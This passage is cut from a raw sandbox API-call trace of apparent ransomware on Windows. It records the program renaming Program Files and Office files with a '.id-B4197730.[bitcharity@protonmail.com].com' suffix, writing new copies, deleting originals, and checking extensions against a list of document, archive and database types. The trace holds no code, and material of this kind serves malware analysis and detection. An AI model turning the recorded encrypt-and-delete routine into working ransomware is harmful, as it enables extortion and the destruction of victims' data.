shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.679] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2556) returned 1 [0286.679] CloseHandle (hObject=0x109c) returned 1 [0286.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0286.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.680] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2514) returned 1 [0286.680] CloseHandle (hObject=0x109c) returned 1 [0286.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0286.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.680] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2616) returned 1 [0286.680] CloseHandle (hObject=0x109c) returned 1 [0286.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0286.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.681] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2618) returned 1 [0286.681] CloseHandle (hObject=0x109c) returned 1 [0286.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0286.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.682] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2578) returned 1 [0286.682] CloseHandle (hObject=0x109c) returned 1 [0286.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0286.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.682] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=3024) returned 1 [0286.682] CloseHandle (hObject=0x109c) returned 1 [0286.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0286.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.683] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2658) returned 1 [0286.683] CloseHandle (hObject=0x109c) returned 1 [0286.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0286.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.683] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2628) returned 1 [0286.683] CloseHandle (hObject=0x109c) returned 1 [0286.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0286.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.684] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2532) returned 1 [0286.684] CloseHandle (hObject=0x109c) returned 1 [0286.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0286.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.685] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2518) returned 1 [0286.685] CloseHandle (hObject=0x109c) returned 1 [0286.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0286.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.685] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2652) returned 1 [0286.685] CloseHandle (hObject=0x109c) returned 1 [0286.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0286.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.686] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2570) returned 1 [0286.686] CloseHandle (hObject=0x109c) returned 1 [0286.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0286.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.687] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2526) returned 1 [0286.687] CloseHandle (hObject=0x109c) returned 1 [0286.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0286.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.687] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2522) returned 1 [0286.687] CloseHandle (hObject=0x109c) returned 1 [0286.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0286.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.688] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2568) returned 1 [0286.688] CloseHandle (hObject=0x109c) returned 1 [0286.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0286.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.688] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2626) returned 1 [0286.689] CloseHandle (hObject=0x109c) returned 1 [0286.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0286.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.270] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.270] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0288.248] GetLastError () returned 0x0 [0288.248] ReadFile (in: hFile=0x10c0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x532, lpOverlapped=0x0) returned 1 [0288.266] WriteFile (in: hFile=0x10cc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x540, lpOverlapped=0x0) returned 1 [0288.271] ReadFile (in: hFile=0x10c0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0288.271] WriteFile (in: hFile=0x10cc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0288.271] SetEndOfFile (hFile=0x10cc) returned 1 [0288.277] CloseHandle (hObject=0x10cc) returned 1 [0288.278] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.278] SetEndOfFile (hFile=0x10c0) returned 1 [0288.279] CloseHandle (hObject=0x10c0) returned 1 [0288.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0288.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.280] lstrlenW (lpString=".doc") returned 4 [0288.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.280] lstrlenW (lpString=".docx") returned 5 [0288.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.280] lstrlenW (lpString=".pdf") returned 4 [0288.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.280] lstrlenW (lpString=".xls") returned 4 [0288.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.280] lstrlenW (lpString=".xlsx") returned 5 [0288.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.280] lstrlenW (lpString=".ppt") returned 4 [0288.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.280] lstrlenW (lpString=".zip") returned 4 [0288.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.280] lstrlenW (lpString=".rar") returned 4 [0288.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.280] lstrlenW (lpString=".bz2") returned 4 [0288.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.280] lstrlenW (lpString=".7z") returned 3 [0288.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.280] lstrlenW (lpString=".dbf") returned 4 [0288.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.280] lstrlenW (lpString=".1cd") returned 4 [0288.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.280] lstrlenW (lpString=".jpg") returned 4 [0288.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0288.281] lstrlenW (lpString=".doc") returned 4 [0288.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.281] lstrlenW (lpString=".docx") returned 5 [0288.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.281] lstrlenW (lpString=".pdf") returned 4 [0288.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.281] lstrlenW (lpString=".xls") returned 4 [0288.281] lstrcmpiW 